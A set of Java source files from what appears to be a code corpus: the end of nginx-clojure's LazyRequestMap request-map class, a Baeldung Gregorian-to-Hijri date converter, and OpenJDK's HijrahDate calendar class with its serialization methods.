return o;
}
@Override
public Object valAt(Object key) {
int i = index(key);
if (i == -1) {
return null;
}
return element(i);
}
@Override
public Object valAt(Object key, Object notFound) {
Object val = valAt(key);
return val == null ? notFound : val;
}
public NginxRequest upsert(Object key, Object val) {
int i = index(key);
if (i != -1) {
array[i+1] = val;
return this;
}
if (validLen < array.length) {
array[validLen++] = key;
array[validLen++] = val;
return this;
}else {
Object[] newArray = new Object[array.length + 8];
System.arraycopy(array, 0, newArray, 0, array.length);
newArray[array.length] = key;
newArray[array.length+1] = val;
validLen += 2;
this.array = newArray;
return this;
}
}
@Override
public IPersistentMap assoc(Object key, Object val) {
int i = index(key);
Object[] newArray = null;
if (i != -1) {
if (element(i) == val) {
return this;
}
newArray = array.clone();
newArray[i+1] = val;
return new LazyRequestMap(this, newArray);
}
newArray = Arrays.copyOf(array, array.length + 2);
newArray[array.length] = key;
newArray[array.length + 1] = val;
return new LazyRequestMap(this, newArray);
}
@Override
public IPersistentMap assocEx(Object key, Object val) {
Object old = valAt(key);
if (old != null) {
throw Util.runtimeException("Key already present");
}
return assoc(key, val);
}
@Override
public IPersistentMap without(Object key) {
int i = index(key);
if (i >= 0) {
int newlen = array.length - 2;
if (newlen == 0) {
return new LazyRequestMap(this, EMPTY_MAP.array);
}
Object[] newArray = new Object[newlen];
for (int s = 0, d = 0; s < array.length; s += 2) {
if (array[s] != key) {
newArray[d] = array[s];
newArray[d + 1] = array[s + 1];
d += 2;
}
}
return new LazyRequestMap(this, newArray);
}
return this;
}
public long nativeRequest() {
return r;
}
@Override
public boolean containsKey(Object key) {
return index(key) != -1;
}
@Override
public Object invoke(Object key) {
return valAt(key);
}
@Override
public Object invoke(Object key, Object notFound) {
return valAt(key, notFound);
}
@Override
public NginxHandler handler() {
return handler;
}
@Override
public NginxHttpServerChannel channel() {
if (hijackTag == null || hijackTag[0] == 0) {
NginxClojureRT.UNSAFE.throwException(new IllegalAccessException("not hijacked!"));
}
return channel;
}
@Override
public boolean isHijacked() {
return hijackTag != null && hijackTag[0] == 1;
}
@Override
public boolean isReleased() {
return this.rawRequestMap.released;
}
@Override
public int phase() {
return phase;
}
public boolean isWebSocket() {
return (Boolean) valAt(WEBSOCKET);
}
protected NginxRequest phase(int phase) {
this.phase = phase;
return this;
}
@Override
public String toString() {
return String.format("request {id : %d, uri: %s}", r, element(0));
}
@SuppressWarnings({ "unchecked", "rawtypes" })
@Override
public <T> void addListener(final T data, final ChannelListener<T> listener) {
if (listeners == null) {
listeners = new ArrayList<java.util.AbstractMap.SimpleEntry<Object, ChannelListener<Object>>>(1);
}
listeners.add(new java.util.AbstractMap.SimpleEntry<Object, ChannelListener<Object>>(data, (ChannelListener)listener));
// if (isWebSocket()) { //handshake was complete so we need call onConnect manually
//handshake was complete so we need call onConnect manually
Runnable action = new Coroutine.FinishAwaredRunnable() {
@Override
public void run() {
try {
listener.onConnect(NginxClojureAsynSocket.NGX_HTTP_CLOJURE_SOCKET_OK, data);
} catch (Throwable e) {
NginxClojureRT.log.error(String.format("#%d: onConnect Error!", r), e);
}
}
@Override
public void onFinished(Coroutine c) {
RequestRawMessageAdapter.pooledCoroutines.add(c);
}
};
if (NginxClojureRT.coroutineEnabled && Coroutine.getActiveCoroutine() == null) {
Coroutine coroutine = RequestRawMessageAdapter.pooledCoroutines.poll();
if (coroutine == null) {
coroutine = new Coroutine(action);
}else {
coroutine.reset(action);
}
coroutine.resume();
}else if (NginxClojureRT.workers == null) {
action.run();
}else {
NginxClojureRT.workerExecutorService.submit(new RequestOrderedRunnable("onConnect2", action, LazyRequestMap.this));
}
// }
}
@Override
public void tagReleased() {
if (NginxClojureRT.log.isDebugEnabled()) {
NginxClojureRT.log.debug("[%d] tag released!", r);
}
this.released = true;
this.channel = null;
if (this == this.rawRequestMap) {
System.arraycopy(default_request_array, 0, array, 0, default_request_array.length);
validLen = default_request_array.length;
if (array.length > validLen) {
Stack.fillNull(array, validLen, array.length - validLen);
}
if (listeners != null) {
listeners.clear();
}
if (this.prefetchedVariables != null) {
this.prefetchedVariables = null;
this.updatedVariables = null;
}
((NginxClojureHandler)handler).returnToRequestPool(this);
} else {
this.rawRequestMap.tagReleased();
}
}
/* (non-Javadoc)
* @see nginx.clojure.NginxRequest#markReqeased()
*/
@Override
public void markReqeased() {
if (NginxClojureRT.log.isDebugEnabled()) {
NginxClojureRT.log.debug("[%d] mark request!", r);
}
this.released = true;
if (this != this.rawRequestMap) {
this.rawRequestMap.markReqeased();
}
}
@Override
public List<java.util.AbstractMap.SimpleEntry<Object, ChannelListener<Object>>> listeners() {
return listeners;
}
@Override
public String uri() {
return (String) valAt(URI);
}
@Override
public NginxHttpServerChannel hijack(boolean ignoreFilter) {
return handler.hijack(this, ignoreFilter);
}
public long nativeCount() {
return nativeCount;
}
public long nativeCount(long c) {
int old = nativeCount;
nativeCount = (int)c;
return old;
}
public int refreshNativeCount() {
return nativeCount = (int)NginxClojureRT.ngx_http_clojure_mem_inc_req_count(r, 0);
}
@Override
public int getAndIncEvalCount() {
return evalCount++;
}
@Override
public int setVariable(String name, String value) {
if (prefetchedVariables != null) {
prefetchedVariables.put(name, value);
updatedVariables.add(name);
return 0;
}
return NginxClojureRT.setNGXVariable(r, name, value);
}
@Override
public String getVariable(String name) {
if (prefetchedVariables != null && prefetchedVariables.containsKey(name)) {
return prefetchedVariables.get(name);
}
if (Thread.currentThread() != NginxClojureRT.NGINX_MAIN_THREAD) {
FutureTask<String> task = new FutureTask<String>(new Callable<String>() {
@Override
public String call() throws Exception {
if (released) {
throw new IllegalAccessException("request was released when fetch variable " + name);
}
return NginxClojureRT.unsafeGetNGXVariable(r, name);
}
});
NginxClojureRT.postPollTaskEvent(task);
try {
return task.get();
} catch (InterruptedException e) {
throw new RuntimeException("getNGXVariable " + name + " error", e);
} catch (ExecutionException e) {
throw new RuntimeException("getNGXVariable " + name + " error", e.getCause());
}
} else {
return NginxClojureRT.unsafeGetNGXVariable(r, name);
}
}
/* (non-Javadoc)
* @see nginx.clojure.NginxRequest#getVariable(java.lang.String, java.lang.String)
*/
@Override
public String getVariable(String name, String defaultVal) {
String v = getVariable(name);
return (v == null || v.isEmpty()) ? defaultVal : v;
}
@Override
public long discardRequestBody() {
return NginxClojureRT.discardRequestBody(r);
}
/* (non-Javadoc)
* @see nginx.clojure.NginxRequest#applyDelayed()
*/
@Override
public void applyDelayed() {
if (updatedVariables != null) {
for (String var : updatedVariables) {
NginxClojureRT.unsafeSetNginxVariable(r, var, prefetchedVariables.get(var));
}
}
if (phase == MiniConstants.NGX_HTTP_REWRITE_PHASE) {
Object headers = array[index(HEADERS) + 1];
if (headers instanceof JavaLazyHeaderMap) {
((JavaLazyHeaderMap)headers).applyDelayed();
}
}
}
} | nginx-clojure/nginx-clojure | src/java/nginx/clojure/clj/LazyRequestMap.java |
1,408 | package com.baeldung.gregoriantohijri;
import java.text.ParseException;
import java.time.LocalDate;
import java.time.chrono.ChronoLocalDate;
import java.time.chrono.HijrahChronology;
import java.time.chrono.HijrahDate;
import java.util.GregorianCalendar;
import org.joda.time.chrono.IslamicChronology;
import com.github.msarhan.ummalqura.calendar.UmmalquraCalendar;
public class GregorianToHijriDateConverter {
public static HijrahDate usingHijrahChronology(LocalDate gregorianDate) {
HijrahChronology hijrahChronology = HijrahChronology.INSTANCE;
ChronoLocalDate hijriChronoLocalDate = hijrahChronology.date(gregorianDate);
return HijrahDate.from(hijriChronoLocalDate);
}
public static HijrahDate usingFromMethod(LocalDate gregorianDate) {
return HijrahDate.from(gregorianDate);
}
public static org.joda.time.DateTime usingJodaDate(org.joda.time.DateTime gregorianDate) {
return gregorianDate.withChronology(IslamicChronology.getInstance());
}
public static UmmalquraCalendar usingUmmalquraCalendar(GregorianCalendar gregorianCalendar) throws ParseException {
UmmalquraCalendar hijriCalendar = new UmmalquraCalendar();
hijriCalendar.setTime(gregorianCalendar.getTime());
return hijriCalendar;
}
}
| eugenp/tutorials | core-java-modules/core-java-datetime-conversion-2/src/main/java/com/baeldung/gregoriantohijri/GregorianToHijriDateConverter.java |
1,409 | /*
* Copyright (c) 2012, 2013, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* Copyright (c) 2012, Stephen Colebourne & Michael Nascimento Santos
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* * Neither the name of JSR-310 nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package java.time.chrono;
import static java.time.temporal.ChronoField.ALIGNED_DAY_OF_WEEK_IN_MONTH;
import static java.time.temporal.ChronoField.ALIGNED_DAY_OF_WEEK_IN_YEAR;
import static java.time.temporal.ChronoField.ALIGNED_WEEK_OF_MONTH;
import static java.time.temporal.ChronoField.ALIGNED_WEEK_OF_YEAR;
import static java.time.temporal.ChronoField.DAY_OF_MONTH;
import static java.time.temporal.ChronoField.MONTH_OF_YEAR;
import static java.time.temporal.ChronoField.YEAR;
import java.io.IOException;
import java.io.InvalidObjectException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
import java.io.ObjectOutput;
import java.io.Serializable;
import java.time.Clock;
import java.time.DateTimeException;
import java.time.LocalDate;
import java.time.LocalTime;
import java.time.ZoneId;
import java.time.temporal.ChronoField;
import java.time.temporal.TemporalAccessor;
import java.time.temporal.TemporalAdjuster;
import java.time.temporal.TemporalAmount;
import java.time.temporal.TemporalField;
import java.time.temporal.TemporalQuery;
import java.time.temporal.TemporalUnit;
import java.time.temporal.UnsupportedTemporalTypeException;
import java.time.temporal.ValueRange;
/**
* A date in the Hijrah calendar system.
* <p>
* This date operates using one of several variants of the
* {@linkplain HijrahChronology Hijrah calendar}.
* <p>
* The Hijrah calendar has a different total of days in a year than
* Gregorian calendar, and the length of each month is based on the period
* of a complete revolution of the moon around the earth
* (as between successive new moons).
* Refer to the {@link HijrahChronology} for details of supported variants.
* <p>
* Each HijrahDate is created bound to a particular HijrahChronology,
* The same chronology is propagated to each HijrahDate computed from the date.
* To use a different Hijrah variant, its HijrahChronology can be used
* to create new HijrahDate instances.
* Alternatively, the {@link #withVariant} method can be used to convert
* to a new HijrahChronology.
*
* <p>
* This is a <a href="{@docRoot}/java/lang/doc-files/ValueBased.html">value-based</a>
* class; use of identity-sensitive operations (including reference equality
* ({@code ==}), identity hash code, or synchronization) on instances of
* {@code HijrahDate} may have unpredictable results and should be avoided.
* The {@code equals} method should be used for comparisons.
*
* @implSpec
* This class is immutable and thread-safe.
*
* @since 1.8
*/
public final class HijrahDate
extends ChronoLocalDateImpl<HijrahDate>
implements ChronoLocalDate, Serializable {
/**
* Serialization version.
*/
private static final long serialVersionUID = -5207853542612002020L;
/**
* The Chronology of this HijrahDate.
*/
private final transient HijrahChronology chrono;
/**
* The proleptic year.
*/
private final transient int prolepticYear;
/**
* The month-of-year.
*/
private final transient int monthOfYear;
/**
* The day-of-month.
*/
private final transient int dayOfMonth;
//-------------------------------------------------------------------------
/**
* Obtains an instance of {@code HijrahDate} from the Hijrah proleptic year,
* month-of-year and day-of-month.
*
* @param prolepticYear the proleptic year to represent in the Hijrah calendar
* @param monthOfYear the month-of-year to represent, from 1 to 12
* @param dayOfMonth the day-of-month to represent, from 1 to 30
* @return the Hijrah date, never null
* @throws DateTimeException if the value of any field is out of range
*/
static HijrahDate of(HijrahChronology chrono, int prolepticYear, int monthOfYear, int dayOfMonth) {
return new HijrahDate(chrono, prolepticYear, monthOfYear, dayOfMonth);
}
/**
* Returns a HijrahDate for the chronology and epochDay.
* @param chrono The Hijrah chronology
* @param epochDay the epoch day
* @return a HijrahDate for the epoch day; non-null
*/
static HijrahDate ofEpochDay(HijrahChronology chrono, long epochDay) {
return new HijrahDate(chrono, epochDay);
}
//-----------------------------------------------------------------------
/**
* Obtains the current {@code HijrahDate} of the Islamic Umm Al-Qura calendar
* in the default time-zone.
* <p>
* This will query the {@link Clock#systemDefaultZone() system clock} in the default
* time-zone to obtain the current date.
* <p>
* Using this method will prevent the ability to use an alternate clock for testing
* because the clock is hard-coded.
*
* @return the current date using the system clock and default time-zone, not null
*/
public static HijrahDate now() {
return now(Clock.systemDefaultZone());
}
/**
* Obtains the current {@code HijrahDate} of the Islamic Umm Al-Qura calendar
* in the specified time-zone.
* <p>
* This will query the {@link Clock#system(ZoneId) system clock} to obtain the current date.
* Specifying the time-zone avoids dependence on the default time-zone.
* <p>
* Using this method will prevent the ability to use an alternate clock for testing
* because the clock is hard-coded.
*
* @param zone the zone ID to use, not null
* @return the current date using the system clock, not null
*/
public static HijrahDate now(ZoneId zone) {
return now(Clock.system(zone));
}
/**
* Obtains the current {@code HijrahDate} of the Islamic Umm Al-Qura calendar
* from the specified clock.
* <p>
* This will query the specified clock to obtain the current date - today.
* Using this method allows the use of an alternate clock for testing.
* The alternate clock may be introduced using {@linkplain Clock dependency injection}.
*
* @param clock the clock to use, not null
* @return the current date, not null
* @throws DateTimeException if the current date cannot be obtained
*/
public static HijrahDate now(Clock clock) {
return HijrahDate.ofEpochDay(HijrahChronology.INSTANCE, LocalDate.now(clock).toEpochDay());
}
/**
* Obtains a {@code HijrahDate} of the Islamic Umm Al-Qura calendar
* from the proleptic-year, month-of-year and day-of-month fields.
* <p>
* This returns a {@code HijrahDate} with the specified fields.
* The day must be valid for the year and month, otherwise an exception will be thrown.
*
* @param prolepticYear the Hijrah proleptic-year
* @param month the Hijrah month-of-year, from 1 to 12
* @param dayOfMonth the Hijrah day-of-month, from 1 to 30
* @return the date in Hijrah calendar system, not null
* @throws DateTimeException if the value of any field is out of range,
* or if the day-of-month is invalid for the month-year
*/
public static HijrahDate of(int prolepticYear, int month, int dayOfMonth) {
return HijrahChronology.INSTANCE.date(prolepticYear, month, dayOfMonth);
}
/**
* Obtains a {@code HijrahDate} of the Islamic Umm Al-Qura calendar from a temporal object.
* <p>
* This obtains a date in the Hijrah calendar system based on the specified temporal.
* A {@code TemporalAccessor} represents an arbitrary set of date and time information,
* which this factory converts to an instance of {@code HijrahDate}.
* <p>
* The conversion typically uses the {@link ChronoField#EPOCH_DAY EPOCH_DAY}
* field, which is standardized across calendar systems.
* <p>
* This method matches the signature of the functional interface {@link TemporalQuery}
* allowing it to be used as a query via method reference, {@code HijrahDate::from}.
*
* @param temporal the temporal object to convert, not null
* @return the date in Hijrah calendar system, not null
* @throws DateTimeException if unable to convert to a {@code HijrahDate}
*/
public static HijrahDate from(TemporalAccessor temporal) {
return HijrahChronology.INSTANCE.date(temporal);
}
//-----------------------------------------------------------------------
/**
* Constructs an {@code HijrahDate} with the proleptic-year, month-of-year and
* day-of-month fields.
*
* @param chrono The chronology to create the date with
* @param prolepticYear the proleptic year
* @param monthOfYear the month of year
* @param dayOfMonth the day of month
*/
private HijrahDate(HijrahChronology chrono, int prolepticYear, int monthOfYear, int dayOfMonth) {
// Computing the Gregorian day checks the valid ranges
chrono.getEpochDay(prolepticYear, monthOfYear, dayOfMonth);
this.chrono = chrono;
this.prolepticYear = prolepticYear;
this.monthOfYear = monthOfYear;
this.dayOfMonth = dayOfMonth;
}
/**
* Constructs an instance with the Epoch Day.
*
* @param epochDay the epochDay
*/
private HijrahDate(HijrahChronology chrono, long epochDay) {
int[] dateInfo = chrono.getHijrahDateInfo((int)epochDay);
this.chrono = chrono;
this.prolepticYear = dateInfo[0];
this.monthOfYear = dateInfo[1];
this.dayOfMonth = dateInfo[2];
}
//-----------------------------------------------------------------------
/**
* Gets the chronology of this date, which is the Hijrah calendar system.
* <p>
* The {@code Chronology} represents the calendar system in use.
* The era and other fields in {@link ChronoField} are defined by the chronology.
*
* @return the Hijrah chronology, not null
*/
@Override
public HijrahChronology getChronology() {
return chrono;
}
/**
* Gets the era applicable at this date.
* <p>
* The Hijrah calendar system has one era, 'AH',
* defined by {@link HijrahEra}.
*
* @return the era applicable at this date, not null
*/
@Override
public HijrahEra getEra() {
return HijrahEra.AH;
}
/**
* Returns the length of the month represented by this date.
* <p>
* This returns the length of the month in days.
* Month lengths in the Hijrah calendar system vary between 29 and 30 days.
*
* @return the length of the month in days
*/
@Override
public int lengthOfMonth() {
return chrono.getMonthLength(prolepticYear, monthOfYear);
}
/**
* Returns the length of the year represented by this date.
* <p>
* This returns the length of the year in days.
* A Hijrah calendar system year is typically shorter than
* that of the ISO calendar system.
*
* @return the length of the year in days
*/
@Override
public int lengthOfYear() {
return chrono.getYearLength(prolepticYear);
}
//-----------------------------------------------------------------------
@Override
public ValueRange range(TemporalField field) {
if (field instanceof ChronoField) {
if (isSupported(field)) {
ChronoField f = (ChronoField) field;
switch (f) {
case DAY_OF_MONTH: return ValueRange.of(1, lengthOfMonth());
case DAY_OF_YEAR: return ValueRange.of(1, lengthOfYear());
case ALIGNED_WEEK_OF_MONTH: return ValueRange.of(1, 5); // TODO
// TODO does the limited range of valid years cause years to
// start/end part way through? that would affect range
}
return getChronology().range(f);
}
throw new UnsupportedTemporalTypeException("Unsupported field: " + field);
}
return field.rangeRefinedBy(this);
}
@Override
public long getLong(TemporalField field) {
if (field instanceof ChronoField) {
switch ((ChronoField) field) {
case DAY_OF_WEEK: return getDayOfWeek();
case ALIGNED_DAY_OF_WEEK_IN_MONTH: return ((getDayOfWeek() - 1) % 7) + 1;
case ALIGNED_DAY_OF_WEEK_IN_YEAR: return ((getDayOfYear() - 1) % 7) + 1;
case DAY_OF_MONTH: return this.dayOfMonth;
case DAY_OF_YEAR: return this.getDayOfYear();
case EPOCH_DAY: return toEpochDay();
case ALIGNED_WEEK_OF_MONTH: return ((dayOfMonth - 1) / 7) + 1;
case ALIGNED_WEEK_OF_YEAR: return ((getDayOfYear() - 1) / 7) + 1;
case MONTH_OF_YEAR: return monthOfYear;
case PROLEPTIC_MONTH: return getProlepticMonth();
case YEAR_OF_ERA: return prolepticYear;
case YEAR: return prolepticYear;
case ERA: return getEraValue();
}
throw new UnsupportedTemporalTypeException("Unsupported field: " + field);
}
return field.getFrom(this);
}
private long getProlepticMonth() {
return prolepticYear * 12L + monthOfYear - 1;
}
@Override
public HijrahDate with(TemporalField field, long newValue) {
if (field instanceof ChronoField) {
ChronoField f = (ChronoField) field;
// not using checkValidIntValue so EPOCH_DAY and PROLEPTIC_MONTH work
chrono.range(f).checkValidValue(newValue, f); // TODO: validate value
int nvalue = (int) newValue;
switch (f) {
case DAY_OF_WEEK: return plusDays(newValue - getDayOfWeek());
case ALIGNED_DAY_OF_WEEK_IN_MONTH: return plusDays(newValue - getLong(ALIGNED_DAY_OF_WEEK_IN_MONTH));
case ALIGNED_DAY_OF_WEEK_IN_YEAR: return plusDays(newValue - getLong(ALIGNED_DAY_OF_WEEK_IN_YEAR));
case DAY_OF_MONTH: return resolvePreviousValid(prolepticYear, monthOfYear, nvalue);
case DAY_OF_YEAR: return plusDays(Math.min(nvalue, lengthOfYear()) - getDayOfYear());
case EPOCH_DAY: return new HijrahDate(chrono, newValue);
case ALIGNED_WEEK_OF_MONTH: return plusDays((newValue - getLong(ALIGNED_WEEK_OF_MONTH)) * 7);
case ALIGNED_WEEK_OF_YEAR: return plusDays((newValue - getLong(ALIGNED_WEEK_OF_YEAR)) * 7);
case MONTH_OF_YEAR: return resolvePreviousValid(prolepticYear, nvalue, dayOfMonth);
case PROLEPTIC_MONTH: return plusMonths(newValue - getProlepticMonth());
case YEAR_OF_ERA: return resolvePreviousValid(prolepticYear >= 1 ? nvalue : 1 - nvalue, monthOfYear, dayOfMonth);
case YEAR: return resolvePreviousValid(nvalue, monthOfYear, dayOfMonth);
case ERA: return resolvePreviousValid(1 - prolepticYear, monthOfYear, dayOfMonth);
}
throw new UnsupportedTemporalTypeException("Unsupported field: " + field);
}
return super.with(field, newValue);
}
private HijrahDate resolvePreviousValid(int prolepticYear, int month, int day) {
int monthDays = chrono.getMonthLength(prolepticYear, month);
if (day > monthDays) {
day = monthDays;
}
return HijrahDate.of(chrono, prolepticYear, month, day);
}
/**
* {@inheritDoc}
* @throws DateTimeException if unable to make the adjustment.
* For example, if the adjuster requires an ISO chronology
* @throws ArithmeticException {@inheritDoc}
*/
@Override
public HijrahDate with(TemporalAdjuster adjuster) {
return super.with(adjuster);
}
/**
* Returns a {@code HijrahDate} with the Chronology requested.
* <p>
* The year, month, and day are checked against the new requested
* HijrahChronology. If the chronology has a shorter month length
* for the month, the day is reduced to be the last day of the month.
*
* @param chronology the new HijrahChonology, non-null
* @return a HijrahDate with the requested HijrahChronology, non-null
*/
public HijrahDate withVariant(HijrahChronology chronology) {
if (chrono == chronology) {
return this;
}
// Like resolvePreviousValid the day is constrained to stay in the same month
int monthDays = chronology.getDayOfYear(prolepticYear, monthOfYear);
return HijrahDate.of(chronology, prolepticYear, monthOfYear,(dayOfMonth > monthDays) ? monthDays : dayOfMonth );
}
/**
* {@inheritDoc}
* @throws DateTimeException {@inheritDoc}
* @throws ArithmeticException {@inheritDoc}
*/
@Override
public HijrahDate plus(TemporalAmount amount) {
return super.plus(amount);
}
/**
* {@inheritDoc}
* @throws DateTimeException {@inheritDoc}
* @throws ArithmeticException {@inheritDoc}
*/
@Override
public HijrahDate minus(TemporalAmount amount) {
return super.minus(amount);
}
@Override
public long toEpochDay() {
return chrono.getEpochDay(prolepticYear, monthOfYear, dayOfMonth);
}
/**
* Gets the day-of-year field.
* <p>
* This method returns the primitive {@code int} value for the day-of-year.
*
* @return the day-of-year
*/
private int getDayOfYear() {
return chrono.getDayOfYear(prolepticYear, monthOfYear) + dayOfMonth;
}
/**
* Gets the day-of-week value.
*
* @return the day-of-week; computed from the epochday
*/
private int getDayOfWeek() {
int dow0 = (int)Math.floorMod(toEpochDay() + 3, 7);
return dow0 + 1;
}
/**
* Gets the Era of this date.
*
* @return the Era of this date; computed from epochDay
*/
private int getEraValue() {
return (prolepticYear > 1 ? 1 : 0);
}
//-----------------------------------------------------------------------
/**
* Checks if the year is a leap year, according to the Hijrah calendar system rules.
*
* @return true if this date is in a leap year
*/
@Override
public boolean isLeapYear() {
return chrono.isLeapYear(prolepticYear);
}
//-----------------------------------------------------------------------
@Override
HijrahDate plusYears(long years) {
if (years == 0) {
return this;
}
int newYear = Math.addExact(this.prolepticYear, (int)years);
return resolvePreviousValid(newYear, monthOfYear, dayOfMonth);
}
@Override
HijrahDate plusMonths(long monthsToAdd) {
if (monthsToAdd == 0) {
return this;
}
long monthCount = prolepticYear * 12L + (monthOfYear - 1);
long calcMonths = monthCount + monthsToAdd; // safe overflow
int newYear = chrono.checkValidYear(Math.floorDiv(calcMonths, 12L));
int newMonth = (int)Math.floorMod(calcMonths, 12L) + 1;
return resolvePreviousValid(newYear, newMonth, dayOfMonth);
}
@Override
HijrahDate plusWeeks(long weeksToAdd) {
return super.plusWeeks(weeksToAdd);
}
@Override
HijrahDate plusDays(long days) {
return new HijrahDate(chrono, toEpochDay() + days);
}
@Override
public HijrahDate plus(long amountToAdd, TemporalUnit unit) {
return super.plus(amountToAdd, unit);
}
@Override
public HijrahDate minus(long amountToSubtract, TemporalUnit unit) {
return super.minus(amountToSubtract, unit);
}
@Override
HijrahDate minusYears(long yearsToSubtract) {
return super.minusYears(yearsToSubtract);
}
@Override
HijrahDate minusMonths(long monthsToSubtract) {
return super.minusMonths(monthsToSubtract);
}
@Override
HijrahDate minusWeeks(long weeksToSubtract) {
return super.minusWeeks(weeksToSubtract);
}
@Override
HijrahDate minusDays(long daysToSubtract) {
return super.minusDays(daysToSubtract);
}
@Override // for javadoc and covariant return type
@SuppressWarnings("unchecked")
public final ChronoLocalDateTime<HijrahDate> atTime(LocalTime localTime) {
return (ChronoLocalDateTime<HijrahDate>)super.atTime(localTime);
}
@Override
public ChronoPeriod until(ChronoLocalDate endDate) {
// TODO: untested
HijrahDate end = getChronology().date(endDate);
long totalMonths = (end.prolepticYear - this.prolepticYear) * 12 + (end.monthOfYear - this.monthOfYear); // safe
int days = end.dayOfMonth - this.dayOfMonth;
if (totalMonths > 0 && days < 0) {
totalMonths--;
HijrahDate calcDate = this.plusMonths(totalMonths);
days = (int) (end.toEpochDay() - calcDate.toEpochDay()); // safe
} else if (totalMonths < 0 && days > 0) {
totalMonths++;
days -= end.lengthOfMonth();
}
long years = totalMonths / 12; // safe
int months = (int) (totalMonths % 12); // safe
return getChronology().period(Math.toIntExact(years), months, days);
}
//-------------------------------------------------------------------------
/**
* Compares this date to another date, including the chronology.
* <p>
* Compares this {@code HijrahDate} with another ensuring that the date is the same.
* <p>
* Only objects of type {@code HijrahDate} are compared, other types return false.
* To compare the dates of two {@code TemporalAccessor} instances, including dates
* in two different chronologies, use {@link ChronoField#EPOCH_DAY} as a comparator.
*
* @param obj the object to check, null returns false
* @return true if this is equal to the other date and the Chronologies are equal
*/
@Override // override for performance
public boolean equals(Object obj) {
if (this == obj) {
return true;
}
if (obj instanceof HijrahDate) {
HijrahDate otherDate = (HijrahDate) obj;
return prolepticYear == otherDate.prolepticYear
&& this.monthOfYear == otherDate.monthOfYear
&& this.dayOfMonth == otherDate.dayOfMonth
&& getChronology().equals(otherDate.getChronology());
}
return false;
}
/**
* A hash code for this date.
*
* @return a suitable hash code based only on the Chronology and the date
*/
@Override // override for performance
public int hashCode() {
int yearValue = prolepticYear;
int monthValue = monthOfYear;
int dayValue = dayOfMonth;
return getChronology().getId().hashCode() ^ (yearValue & 0xFFFFF800)
^ ((yearValue << 11) + (monthValue << 6) + (dayValue));
}
//-----------------------------------------------------------------------
/**
* Defend against malicious streams.
*
* @param s the stream to read
* @throws InvalidObjectException always
*/
private void readObject(ObjectInputStream s) throws InvalidObjectException {
throw new InvalidObjectException("Deserialization via serialization delegate");
}
/**
* Writes the object using a
* <a href="../../../serialized-form.html#java.time.chrono.Ser">dedicated serialized form</a>.
* @serialData
* <pre>
* out.writeByte(6); // identifies a HijrahDate
* out.writeObject(chrono); // the HijrahChronology variant
* out.writeInt(get(YEAR));
* out.writeByte(get(MONTH_OF_YEAR));
* out.writeByte(get(DAY_OF_MONTH));
* </pre>
*
* @return the instance of {@code Ser}, not null
*/
private Object writeReplace() {
return new Ser(Ser.HIJRAH_DATE_TYPE, this);
}
void writeExternal(ObjectOutput out) throws IOException {
// HijrahChronology is implicit in the Hijrah_DATE_TYPE
out.writeObject(getChronology());
out.writeInt(get(YEAR));
out.writeByte(get(MONTH_OF_YEAR));
out.writeByte(get(DAY_OF_MONTH));
}
static HijrahDate readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
HijrahChronology chrono = (HijrahChronology) in.readObject();
int year = in.readInt();
int month = in.readByte();
int dayOfMonth = in.readByte();
return chrono.date(year, month, dayOfMonth);
}
}
| dragonwell-project/dragonwell8 | jdk/src/share/classes/java/time/chrono/HijrahDate.java |